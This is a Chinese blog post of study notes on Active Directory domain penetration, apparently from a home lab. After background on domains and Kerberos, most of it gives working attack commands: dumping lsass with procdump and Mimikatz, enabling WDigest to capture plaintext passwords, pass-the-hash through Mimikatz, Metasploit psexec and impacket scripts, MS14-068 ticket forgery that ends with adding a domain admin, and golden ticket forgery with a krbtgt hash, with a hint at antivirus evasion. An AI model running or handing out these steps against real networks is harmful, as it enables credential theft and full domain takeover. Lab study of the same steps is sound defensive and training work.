• 域渗透学习


    域渗透学习#

    在渗透测试过程中,我们经常会遇到以下场景:某处于域中的服务器通过路由做端口映射,对外提供web服务,我们通过web脚本漏洞获得了该主机的system权限,如果甲方有进一步的内网渗透测试需求,以证明企业所面临的巨大风险,这个时候就需要做内网的域渗透。通常,我们是以获得域控制器的权限为目标,因为一旦域控制器沦陷,整个内网就尽在掌握中了。

    一、初识域环境#

    ①什么是域#

    将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库。

    ②域的优点(为什么使用域)#

    那么域网络结构有什么优点呢?域的优点主要有以下几个方面:

    1、权限管理较集中,管理成本降低#

    域环境中,所有的网络资源,包括用户均是在域控制器上维护的,便于集中管理,所有用户只要登入到域,均能在域内进行身份验证,管理人员可以较好的管理计算机资源,管理网络的成本大大降低;同时在域环境中也可以防止企业员工在域成员主机上违规安装软件,增强客户端安全性,减少客户端故障,降低维护成本。

    2、保密性加强#

    有利于企业的一些保密资料的管理,可以单独对资源进行权限控制,允许或拒绝特定的域账户对资源的请求。

    3、安全性加强#

    使用漫游账户和文件夹重定向,个人账户的工作文件及数据等可以存储在服务器上,进行统一备份及管理,使用户的数据更加安全有保障;同时域控制器能够分发应用程序、系统补丁,用户可以选择安装,也可以由系统管理员指派自动安装,数据及系统安全性大大提高。

    4、提高了便捷性#

    可由管理员指派登陆脚本映射,用户登录后就可以像使用本地盘符一样,使用网络上的资源,且不需要再次输入密码。

    基于以上原因,很多企业的内网均会采用域环境,所以作为一名合格的渗透测试人员,域渗透的常规思路和技巧要熟练掌握。

    ③域的基本名词解释#

    1、工作组(work gorup)#

    在工作组模式的网络中,各服务器都是独立的,而且各服务器中的帐户和资源也是各自进行管理的。所以,管理员需要为每台服务器建立帐户,在管理时也需要分别登录各服务器完成管理工作。授权用户访问不同的服务器时,也需要分别登录。

    2、域(Domain)#

    在域模式的网络中,服务器集中进行管理域中的帐户和资源也是集中管理的。所以,管理员登录到服务器后就可以管理整个域并可以访问所有共享资源在域模式的网络中,需要一个对帐户和资源进行统一管理的机制,这个机制就是活动目录(Active Directory)。域中所有的帐户和共享资源都需要在活动目录中进行登记(所以可以在活动目录当中看共享资源),用户可以利用活动目录查找和使用这些资源。基于域模式的网络可大大减轻管理的复杂度和工作量,通常用于结构较复杂的网络。

    3、域与工作组的关系#

    在工作组上你一切的设置在本机上进行包括各种策略,用户登录也是登录在本机的,密码是放在本机的数据库来验证的。而如果你的计算机加入域的话,各种策略是域控制器统一设定,用户名和密码也是放到域控制器去验证,也就是说你的账号密码可以在同一域的任何一台计算机登录。登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机则是通过SAM来进行NTLM验证的。一台电脑要么属于工作组要么属于域,两者对立存在。

    4、域控制器(DC)#

    域控制器(Domain Controller,简写为DC)

    是一台安装并运行Active Directory的服务器,它管理用户和域交互之间的所有安全相关方面,集中安全性和管理。一个域可以有一个或多个域控制器,各域控制器间地位平等,管理员可以在任一台域控制器上更新域中的信息,更新的信息会自动传递到网络中的其他域控制器中。(老大-不止一个)

    域控的部署 => 略

    5、活动目录(AD)#

    活动目录AD(Active Directory)

    域内所有的计算机共享一个集中式的目录数据库(又称为活动目录数据库),它包含着整个域内的对象(用户账户、计算机账户、打印机、共享文件等)和安全信息等等,而活动目录负责目录数据库的添加,修改,更新和删除。所以我们要在Windows Server 2003上实现域环境,其实就是要安装活动目录。活动目录为我们实现了目录服务,提供对企业网络环境的集中式管理。(管理)

    6、(域)用户登录#

    域用户登入

    域名\域用户名域用户密码

    本地用户登入

    计算机名\本地用户名本地用户密码

    7、域/域树/域林/林根域#

    (1)域是一种管理单元,也是一个管理边界在同一个域内共享某些功能和参数;一个域可以有多台域控制器如domain1.com/A.domain1.com/domain2.com分别代表三个独立的域。

    (2)域树是指基于在DNS命名空间,如果一个域是另一个域的子域,那么这两个域可以组成一个域树,例如domain1.com/A.domain1.com组成一个域树,domain2.com/A.domain2.com组成—个域树。

    (3)域林是指一个或多个不连续DNS名的域(树)的集合;例如上图中的domain1.com/domain2.com/domain3.com组成一个域林。

    (4)域林中的第一个被创建的域,称之为林根域。

    8、DNS与域的关系#

    DNS服务器对域来说不可或缺。域中的计算机使用DNS域名,DNS需费为域中的计算机提供域名解服务。

    域中的计算机需要利用DNS提供的SRV记录来定位域控制器。

    9、DNS对AD域的作用#

    名称解析:1.DNS将计算机名称转换为IP地址2.计算机使用DNS在网络上相互定位

    Windows 2000/2003/2008域的名称:Windows 2000/2003/2008使用DNS命名标准。DNS域和活动自录的域使用共同的名称层析结构。

    定位活动目录的物理组件:DNS使用域控制器提供的服务。域中计算机使用DNS来定位域控制器和全局编录。

    10、AD域与工作组的区别#

    管理模式:工作组实现的是分散的管理模式,每一台计算机都是独自自主的;域实现的是主/从管理模式,通过一台域控制器集中管理域内用户帐导和权限。

    资源访问:在“域”模式下,资源的访问有较严格的管理,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作。

    管理模式:域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。工作组只是进行本地电脑的信息与安全的认证。

    11、域的信任关系#

    由于域控制器的作用,域内的用户是不能够跨段进行访问的,如果一定要进行跨段访问,则需要在两个域之间建立信任关系。域与域之间具有一定的信任关系,域信任关系使得一个域中的用户可由另一域中的域控制器进行验证,才能使一个域中的用户访问另一个域中的资源。

    域的信任关系---->信任关系域---->被信任关系域

    信任关系域的作用:允许一个域内的用户能够访问。

    12、组策略#

    意义:方便管理AD中用户和计算机的工作环境

    1.用户桌面环境

    2.计算机启动/关机与用户登录/注销时所执行的脚本文件

    3.软件分发

    4.安全设置

    组策略的作用:组策略不适用于早期的Windows操作系统,如Windows 9x/NT,那时使用的是“系统策略”。组策略是系统策略的更高级扩展,它是由Windows 9x/NT的“系统策略”发展而来的,具有更多的管理模板、更灵活的设置对象及更多的功能。

    tips:设置Windows域用户帐户密码策略

    13、域账号登录成员机的过程#

    使用域账号进行登录---->成员机检查本地没有这个账号,如果没有则成员机向DNS服务器解析DC的IP---->向DC汇报有人想要进行登录,将账号密码发送给DC---->DC在AD里面找有没有这个账号,有就返回可以登录的指示Access Key,这时候成员机接到Access Key就会让它登录并且在C:\user里面为a账号创建家目录和配置文件---->登陆成功后成员机会问DC还有什么要求,DC查询AD将组策略发给成员机---->成员机按照组策略来加载一些特定要求,例如:强制成员机有特定桌面壁纸,不能更改等。

    14、域控配置#

    服务器:

     1,安装AD域服务
     2.设置静态IP地址,并将DNS指向域控
     3.添加域内用户
    

    客户端:

     1,设置静态IP地址,并将DNS指向域控
     2.把用户加入域
    

    15、信任域#

    在很多实际情况中,一个又有下面的子公司,所以就造成母公司有一个域,子公司有也有一个单独的域。母公司的域与子公司的域如何联系起来呢?我们可以在它们之间建立一种叫信任( Trust)的关系。如果母公司的帐户想要能够登录到子公司的域中,子公司的域就要对母公司的减建立信任关系。当母公司域的帐户想要登录到子公司域中时,子公司域由于信任母公司的域,所以它会听从从母公司域的域控制器返回的 access key。反过来,由于母公司的域没有建立对子公司的信任,所以如果子公司的帐户想要登录到母公司的域中是不可能的。

    16、其他概念#

    域能实现文件的共享,集中统一,便于管理。

    域是windows网络中独立运行的基本单位,域之间相互访问则需要建立信任关系,域有安全边界的作用。

    域是共享用户账号,计算机账号和安全策略的计算机集合。

    域既是windows网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在window操作系统中,域是安全边界。

    二、环境配置#

    在开始之前,需要先配置好⼀个域环境。因为用于教学测试,所以只需一台域控和一台加入域内的主机即可。这里我使用的是 windows server 2012 与 windows 7。通过攻击拿下 windows 7 或者直接操控 windows 7,来模拟被攻陷的主机,从而进行域方面是渗透学习。

    windows server 2012 存在Administrator用户(域控超级管理员用户)、Windows7的dada用户(加入管理员组的用户)、Windows7的xiao用户(普通域用户)

    三、域内信息收集#

    所有渗透测试的第⼀步,都是信息收集,域也不例外。

    ①确定环境#

    在域内需要先确定被攻击主机的当前内网环境,如拓扑等信息,可以使用以下命令来快速定位。

    route print 	# 查看路由信息
    arp -a  # 查看域中所有的设备
    ipconfig /all	 # 判断当前是否在域环境中,看dns后缀和dns服务器
    ping "域名"
    net time /domain       #查看系统时间(判断主域)
    
    • 在渗透时,拿到的数据记得保存,不要看一眼就没了,也尽量不要重复查看,所有的动作都要求干净利索。

    ②域内信息#

    除了了解内网环境外,还可以通过命令来直接查看域的相关消息。

    1、net view#

    查看本地工作组/域环境中的设备

    查看域内在线主机,此时可以看⻅域内的两台机器,⼀台被攻陷的XZM-PC和域控AD。

    image-20230907152144243

    如果报错6118 =>

    1、关闭防火墙;2、开启服务(Computer Browser、Server、Workstation);3、重新打开CMD即可

    2、net view /domain#

    查看当前有几个域。可以看见此时有一个MAO域。

    image-20230907152223852

    3、net user /domain#

    查看域内⽤户,可以看⻅除了常⻅的管理员和来宾,域内还有⼀个krbtgt⽤户,这个⽤户⾮常重要,稍后会讲到。

    image-20230907152356543

    4、net group /domain#

    查看域的组别信息

    image-20230907152410600

    这⾥可以看⻅组较多,这⾥列出⼏个关键组了解⼀下。

    *Domain Admins 管理员组

    *Domain Computers 主机名

    *Domain Controllers 域控组

    *Enterprise Admins 企业级管理员

    可以通过 net group 组名 /domain 来查看组内⽤户。

    5、whoami /user#

    确定自身权限

    image-20230907152428792

    • 500:administrator
    • 501:guest
    • 1000+:普通用户

    6、net group "domain controllers" /domain#

    查看域控管理员组的成员(域内高权限组)

    image-20230907152504303

    • ​ Domain Admins 域控管理员组(高权限)
    • ​ Domain Computers 加入域内的主机成员
    • ​ Domain Controllers 域控(高权限)
    • ​ Domain Users 域内普通用户
    • ​ Enterprise Admins 企业管理员(高权限)

    8、systeminfo | findstr "KB"#

    查看补丁信息

    image-20230907152527041

    7、定位域控#

    域控作为域的最⾼权限,⾃然是⾸要的攻击⽬标,可以通过刚才的⼀些已知的命令,来找到域控。

    通过 net user /domain 来查看域内的账户;通过 net group "domain controllers" /domain 来查看域控。自身权限可以使⽤ whoami /user 命令快速查看。

    四、本地认证#

    ①Windows本地认证#

    在开始攻击之前,需要先了解⼀下 windows 的认证机制。

    通过操作系统的学习,已知 C:\Windows\System32\config\SAM 是储存主机账号密码的数据库⽂件。

    windows 登⼊的过程其实很简单,启动winlogin.exe,当⽤户输⼊账号密码后,账号密码将会发送到lsass.exe,lsass.exe将会把⽤户输⼊的明⽂,转换为NTLM hash与,SAM⽂件存储的数据做⽐较,⽐较成功即登⼊成功。

    image-20230906162417336

    Windows Logon: 是wWindows操作系统的用户登录程序,负责管理用户的登录和登出过程。它提供了用户输入账号和密码的界面,也称为登录页面或登录屏幕。

    lsass: 是微软windows系统的安全机制,是Windows操作系统中的一个关键进程,负责处理本地安全和登录策略。它在Windows系统启动时自动启动,并一直运行在后台。

    ②NTLM hash#

    当然,windows本身是不会存储明⽂密码的,在SAM⽂件中所存储的是密码的散列值,⽽在登⼊的时候,也是先将⽤户输⼊转换为散列值,才进⾏对⽐的。

    Hash一般存储在两个地方:

    • 1、SAM文件,存储在本机 => 对应本地用户
    • 2、NTDS.DIT文件,存储在域控上 => 对应域用户

    1、加密过程#

    ⽤户输⼊的明⽂密码 => ⼗六进制 => unicode => md4 算法 => NTLM hash。可以看⻅,整个加密过程还是较为简单的。

    2、存储的密码格式#

    例:administrator:500:LM hash:NTLM hash

    可以看⻅,先是⽤户名,再是该⽤户的 SID,后⾯跟着 LM hash 和 NTLM hash

    如果LM Hash 是 AAD3B 开头,则是空密码或者未设置密码。

    LM Hash全名为 “LAN Manager Hash”,是微软为了提⾼Windows操作系统的安全性⽽采⽤的散列加密算法,其本质是DES加密。尽管LM Hash较容易被破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁⽤了(从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁⽤LM Hash),LM Hash明⽂密码被限制在14位以内,也就是说,如果要停⽌使⽤LM Hash,将⽤户的密码设置为14位以上就好了。

    3、lsass.exe#

    在内⽹渗透进⾏横向移动和权限提升时,最常⽤的⽅法是通过 dump 进程 lsass.exe,从中获得明⽂⼝令或者hash。 lsass.exe(Local Security Authority SubsystemService)是⼀个系统进程,⽤于微软Windows系统的安全机制,它⽤于本地安全和登陆策略。在进程空间中,存有着机器的域、本地⽤户名和密码等重要信息。但是需要⾸先获得⼀个⾼的权限才能对其进⾏访问。

    五、从 lsass.exe 获取密码#

    ①Procdump#

    procdump是⼀款命令⾏⼯具,主要⽤途是监视应⽤程序的CPU异常动向,并且对内存做⼀个转储。上⾯提到了密码的明⽂与密⽂都存储在lsass⾥,所以使⽤procdump即可将 lsass 的内存资源转储出来。以下是它的⼀些参数。

    1、相关参数#

    • -ma:写⼊“完整”转储⽂件。【包括所有内存 (映像、映射和专⽤);包括 (进程、线程、模块、句柄、地址空间等) 的所有元数据】
    • -accepteula:使⽤该命令行选项时,表示⾃动接受Sysinternals许可协议。

    2、简单使用#

    使⽤⽅式⾮常简单,指定参数和要转储内存的⽂件后,再指定保存的⽂件名,即刻获得后缀名为 .dmp 的内存转储⽂件。(需要管理员权限的命令行窗口才可操作)

    procdump.exe -ma -accepteula lsass.exe passwd.dmp 	#把内存当中的HASH导入到本地,并命名为passwd.dmp
    

    image-20230907154743462

    正常我们是打不开passwd.dmp这个文件的,要是以记事本打开也都是乱码。这时,我们就要用到另一个小工具Mimikatz进行对passwd.dmp进行读取

    ②Mimikatz#

    Mimikatz 是法国⼈benjamin开发的⼀款功能强⼤的轻量级调试⼯具,本意是⽤来个⼈测试,但由于其功能强⼤,能够直接读取WindowsXP-2012等操作系统的明⽂密码⽽闻名于渗透测试,可以说是渗透必备⼯具。

    1、相关参数#

    因为 mimikatz 参数较多,这⾥只介绍常⽤的参数。

    mimikatz # :: 	 显示帮助指令
    mimikatz # cls 	  清空
    mimikatz # log  	记录所得到的信息
    mimikatz # hostname 		查看主机名
    
    • privilege 模块

    (需要管理员权限的命令行窗口才可操作)

    mimikatz # privilege::debug 	 提升 mimikatz 权限(通过mimkatz自带的漏洞脚本对当前设备进行攻击)
    
    • sekurlsa 模块
    1、提取当前系统中已登录用户的密码(该方法需要先提升mimikatz权限)
    mimikatz # sekurlsa::logonpasswords		获取所有账户密码(比procdump的使用更简单)
    2、抓取用户NTLM哈希(读取内存的HASH-列出 LM 和 NTML 凭证)
    mimikatz # sekurlsa::msv
    3、加载dmp文件,并导出其中的明文密码
    mimikatz # sekurlsa::minidump passwd.dmp	切换环境
    mimikatz # sekurlsa::logonpasswords full	列出所有可用的凭据
    4、导出lsass.exe进程中所有的票据
    mimikatz # sekurlsa::tickets /export
    5、列出 kerberos 凭证
    mimikatz # sekurlsa::kerberos 	 获取kerberos认证信息(账户密码等)-域内
    6pass-the-hash 哈希传递
    mimikatz # sekurlsa::pth 
    
    • lsadump 模块
    mimikatz # lsadump::sam	    查看sam文件内容获取用户名和NTLM hash
    mimikatz # lsadump::secrets 	 获取当前用户密码
    mimikatz # lsadump::dcsync /user:krbtgt  	获取域控上krbtgt⽤户信息
    
    • kerberos 模块
    1、列出系统中的票据
    mimikatz # kerberos::list		列出票据
    mimikatz # kerberos::tgt		列出票据		
    2、清除系统中的票据
    mimikatz # kerberos::purge		清除票据
    3、导入票据到系统中
    mimikatz # kerberos::ptc 票据路径
    
    • process 模块
    mimikatz # process::start command 	  启动进程
    mimikatz # process::stop command 	  结束进程
    mimikatz # process::list	   列出进程
    

    Mimikatz 因为效果太好导致会被杀毒警报,若是想在⽬标机器运⾏先考虑是否需要对 Mimikatz 做免杀处理。

    2、简单使用#

    Mimikatz 能够从内存中提取纯⽂本密码,通过参数 sekurlsa::minidump 载⼊刚才procdump 获取的 dmp ⽂件后,就可以使⽤ sekurlsa::logonpasswords full 等命令,对密码进⾏读取。实现效果如下图:

    mimikatz.exe
    sekurlsa::minidump ./passwd.dmp
    sekurlsa::logonpasswords full
    

    image-20230907154652581

    image-20230907153446512

    在这⾥可以看⻅图中带有管理员信息,若是中真实环境中拿到此信息基本就宣告着结束。

    3、进阶使用#

    ①利用procdump导下来的dump文件与mimikatz配合使用获取凭据

    mimikatz # log 	 	//记录所得到的信息
    mimikatz # sekurlsa::minidump passwd.dmp   	 //切换环境(挂载dmp文件)
    mimikatz # sekurlsa::logonpasswords    	//列出所有可用的凭据
    

    ②直接利用minikatz获取凭据(需要管理权限)

    mimikata # log  		//记录所得到的信息
    mimikatz # privilege::debug 	  //提权(获得mimikatz程序的特殊操作)
    mimikatz # sekurlsa::msv  	 //提取内存的HASH值
    mimikatz # sekurlsa::logonpasswords   	 //列出所有可用的凭据
    

    六、实验:PTH(pass-the-hash)哈希传递#

    ①简介#

    哈希传递是⼀种⿊客技术,攻击者可⽤使⽤⽤户密码的hash对远程服务器进⾏身份验证,扩⼤战果。其实就是⼀种 撞库 的⾏为。在拥有NTLM hash的情况下,我们可以⾮常轻易的使⽤mimikatz的 sekurlsa::pth 发起⼀次 PTH。

    • 攻击缺陷:hash 要保持静态(不修改密码)
    • 适⽤于:域/⼯作组、可⽤获取 hash 但是不能爆破 hash,且内⽹有相同密码的机器。
    • KB2871997:修复了普通⽤户能够 pth,但是管理员除外,系统 >= win server 2012时,⽆法通过 lsass 进程中抓取明⽂密码。

    因 KB2871997 修复了普通⽤户能够 pth,所以需要使⽤ privilege::debug 来提升权限(在⾼权限终端下)。

    ②基本条件#

    使⽤mimikatz的sekurlsa::pth模块⾄少需要知道以下条件:

    • pth 的对象 :使⽤ net user /domain 等命令即可查看域内⽤户信息
    • 域名 :使⽤ net view /domain 等命令即可查看域名
    • NTLM hash :可以通过使⽤procdump配合mimikatz获取
    补充:
    ① reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f   	#开启密码抓取
    
    ②  rundll32 user32.dll,LockWorkStation   # 强制锁屏,为了让用户重新登录从而可以抓取lsass.exe文件中的密码
    

    ③适用条件#

    适用于无需用户密码,只能拿到域控的NTLM Hash,而且无法解密的情况。

    ④信息收集#

    寻找pth的对象 => Administrator

    image-20230907153641890

    查看管理员组成员 => 选择攻击 Administrator

    image-20230907153811918

    域名 => MAO

    image-20230907153835532

    拿到管理员的ntml hash => 570a9a65db8fba761c1008a51d4c95ab

    其实通过mimikatz.exe,啥都满足了:
    sekurlsa::minidump ./passwd.dmp
    sekurlsa::logonpasswords full
    

    image-20230907154002865

    ⑤发起攻击#

    法一:mimikatz直接pth#

    sekurlsa::pth /user: /domain:<域名> /ntlm:hash> [/run:name]
    
    privilege::debug
    sekurlsa::pth /user:Administrator /domain:MAO /ntlm:570a9a65db8fba761c1008a51d4c95ab /run:cmd
    

    拿下域控权限。(如果参数都填写正确的情况下,还是无法攻击成功的话,尝试关闭mimikatz窗口,重新以管理员启动cmd.exe,重新提升权限,再进行攻击。run后面的命令不写也行,默认开启域控的cmd.exe)

    image-20230907154508116

    法二:msf的psexec#

    search psexec
    use exploit/windows/smb/psexec
    show option
    set rhosts 192.168.126.10
    set SMBDomain MAO
    set SMBUSER Administrator
    set SMBpass 6f08d7b306b1dad4b75e0c8d76954a50:570a9a65db8fba761c1008a51d4c95ab	# LM:NTLM
    exploit
    

    image-20230907154953645

    image-20230907155156773

    法三:凭据传递脚本获取shell#

    ①smbexec.py
    python smbexec.py -hashes 6f08d7b306b1dad4b75e0c8d76954a50:570a9a65db8fba761c1008a51d4c95ab MAO/Administrator@192.168.126.10
    
    ②wmiexec.py
    python wmiexec.py -hashes 6f08d7b306b1dad4b75e0c8d76954a50:570a9a65db8fba761c1008a51d4c95ab MAO/Administrator@192.168.126.10
    

    image-20230907155509319

    七、Kerberos认证协议#

    Kerberos是⼀种第三⽅认证协议,通过使⽤对称加密技术为客户端/服务器应⽤程序提供强身份验证。在希腊神话中Kerberos是守护地狱之⻔的⼀条三头神⽝,⽽这三个头分别代表着协议的三个⻆⾊,如下图所示它们分别是:

    1、访问服务的Client(发送请求的一方)

    2、提供服务的Server(接收请求的一方)

    3、KDC,密钥分发中⼼,该中⼼⾥⼜包含以下两个服务:

    • AS,身份验证服务(认证服务器)【专门用来认证客户端的身份并发放客户用于访问TGS的TGT】
    • TGS,票据授权服务(票据授予服务器)【用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据】

    image-20230906221256905

    • DC(Domain Controller):域控制器
    • KDC(Key Distribution Center):密钥分发服中⼼
    • AS(Authentication Server):认证服务器
    • TGS(Ticket Granting Server):票据授权服务器
    • TGT(Ticket Granting Ticket):票据授权票据

    认证概述

    1、⾸先客户端向 AS 发起请求,获得TGT。

    2、客户端使⽤从 AS 获得的TGT,向 TGS 发起请求,TGS 成功解密 TGT 后,生成新的票据返回给客户端。

    4、客户端使⽤ TGS 返回的新票据向服务器发送请求进⾏授权。

    八、实验:PTC(pass-the-ccahe)缓存传递#

    如果能够拿到⽤户的 TGT,并将其倒⼊到内存,那么就可以冒充该⽤户获得其访问权限。

    ①MS14-068漏洞#

    MS14-068 是密钥分发中⼼(KDC)服务中的 Windows 漏洞。它允许经过身份验证的⽤户在其 Kerberos 票据(TGT)中插⼊任意 PAC(表示所有⽤户权限的结果)。该漏洞位于kdcsvc.dll 域控制器的密钥分发中⼼中。⽤户可以通过呈现具有改变 PAC 的 kerberos TGT 来获得票据。

    需要⾼权限。

    影响范围

    • Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 及 Windows Server 2012 R2
    • Windows Vista、Windows 7、 Windows 8 及 Windows 8.1

    补丁编号与利⽤条件

    补丁编号:KB3011780

    利⽤条件:

    1. 获取到⼀台主机的权限(域内主机)

    2. 收集到计算机域管理员⽤户的账号密码、SID、域名信息

    3. 没打 MS14-068 补丁

    ②信息收集#

    1、域管理员⽤户的SID
    whoami /all	 =>	S-1-5-21-863777703-696496247-1862912240-500
    
    2、域管理员⽤户的明文密码
    mimikatz.exe
    sekurlsa::minidump ./passwd.dmp
    sekurlsa::logonpasswords full	 =>	Admin@123
    
    3、域名信息(完整域名消息)
    ipconfig /all
    

    image-20230907155635476

    image-20230907160140203

    Windows对大小写不敏感,所以mao.com和MAO.COM均可

    image-20230907160325132

    image-20230907160301219

    ③漏洞利用#

    1、生成域控管理员密钥#

    使⽤现成的脚本来获取票据:
    ms14-068.exe -u <⽤户名@域名> -s  -d  -p <⽤户密码>
    
    MS14-068.exe -u Administrator@MAO.COM -s S-1-5-21-863777703-696496247-1862912240-500 -d 192.168.126.10 -p Admin@123
    

    image-20230907160507339

    2、将内存中导入生成好的票据#

    然后使⽤mimikatz的 kerberos::ptc 模块来载⼊票据。

    mimikatz.exe
    privilege::debug
    kerberos::ptc TGT_Administrator@MAO.COM.ccache
    

    image-20230907160648664

    3、开启当前权限的管理员终端#

    使⽤mimikatz的 misc::cmd 模块,打开打开⼀个新窗⼝验证我们当前权限。

    misc::cmd
    dir \\192.168.126.10\c$
    

    image-20230907160853408

    4、PsExec.exe获取一个交互式shell#

    用刚刚生成的管理员终端使用PsExec.exe工具获取一个交互式shell,并创建了隶属于管理员组的用户

    PsExec.exe \\192.168.126.10 cmd
    ipconfig
    whoami
    net user carmi carmi@123 /add /domain
    net group "Domain Admins" carmi /add /domain
    net group "Domain Admins" /domain
    

    image-20230907161814808

    image-20230907161831013

    八、实验:PTT(pass-the-ticket)黄金票据#

    ①简介#

    KDC 的作⽤是⽣成任意⽤户的 TGT,那么问题来了,是什么条件能够让他⽣成任意⽤户的 TGT 呢?还得看 kerberos 认证的过程,在 windows 认证过程中,客户端将⾃⼰的信息发送给 KDC,然后 KDC 使⽤ krbtgt ⽤户密码的 NTLM hash 作为密钥进⾏加密,⽣成 TGT。

    一句话:TGT是KDC使用 krbtgt 用户密码的 hash 作为密钥,加上客户端自己的信息生成的。

    那么如果获取到了 krbtgt 的密码 hash 值,是否就可以伪造任意 TGT?答案是肯定的。但因为 krbtgt 只有域控制器上才有,所以使⽤⻩⾦票据(票据传递攻击)意味着之前就拿到了域控制器的权限,所以⻩⾦票据可以理解为⼀个后⻔。

    Krbtgt ⽤户在域控创建完成后⾃动⽣成。

    只要krbtgt用户不更改密码,就可以使用黄金票据是实现任何用户的票据信息,注入到内存中。

    黄金票据在使用的过程需要同域控通信。

    ②基本条件#

    • 域名称、域 SID(去掉rid):通过 whoami /user 获取
    • 要伪造(目标)的⽤户名:通过 net user /domain 等⽅法获取
    • krbtgt⽤户的hash:通过 mimikatz 等⽅法获取

    ③信息收集#

    mimkatz获取 krbtgt hash(只有这一步才需要在域控上操作) => e798fdc7ba810c372ef7bffcdc8f2d13

    由于mimkatz使用条件有点苛刻,且mimkatz软件问题,在命令行直接复制mimkatz内容可能无法成功或者直接到导致程序崩溃,那么这里可以通过生成log来解决。

    mimikatz.exe
    log
    privilege::debug
    lsadump::dcsync /user:krbtgt
    

    image-20230907165707911

    域SID(不需要权限的域SID): whoami /user => S-1-5-21-863777703-696496247-1862912240(最后的一个横线后表示用户权限。因此只需要前半部分)

    伪造(目标)的⽤户名:net user /domain => Administrator

    域名称(完整域名):ipconfig /all => mao.com

    image-20230907164005512

    ③漏洞利用#

    管理员窗口操作

    1、清除原有票据#

    因为在⽣成票据时需要将原有的票据清空,所以⼀旦票据⽣成失败,主机也将⽆法继续访问域内信息了(脱域)。

    使⽤ kerberos::purge 清空票据后,就可以使⽤ kerberos::golden ⽣成票据了。

    mimikatz.exe
    privilege::debug
    kerberos::purge		清空票据
    

    image-20230907164401221

    2、⽣成票据#

    kerberos::golden /user:<要伪造的⽤户名> /domain:<完整域名> /krbtgt:hash> /sid:<域sid> /ticket:<⽣成的⽂件名.kirbr>
    
    kerberos::golden /user:Administrator /domain:mao.com /krbtgt:e798fdc7ba810c372ef7bffcdc8f2d13 /sid:S-1-5-21-86377703-696496247-1862912240 /ticket:carmi.kirbr
    

    image-20230907165303444

    3、注入票据#

    kerberos::ptt carmi.kirbr
    

    image-20230907165332682

    4、生成域控会话#

    misc::cmd
    whoami
    dir \\192.168.126.10\c$
    PsExec.exe \\192.168.126.10 cmd
    ipconfig
    

    image-20230907165447592

    image-20230907165510598

    补充:

    MSF中kiwi(mimikatz)模块的使用

    目录

  • 相关阅读:
    分库分表订单全局ID
    SpringBoot+Vue项目校园防疫管理系统
    Redis弱事务性与Lua脚本原子性分析
    神经元网络
    websocket协议详解与抓包分析
    根据您的数据量定制的ChatGPT,改变客户服务的方式
    快速掌握基本数据库查询语句,面试无烦恼!!
    Redis缓存的几个名词,缓存命中、缓存穿透、缓存雪崩、缓存击穿
    GIT使用学习笔记 远程仓库篇
    数据结构 - ArrayList - 动态修改的数组
  • 原文地址:https://www.cnblogs.com/carmi/p/17685608.html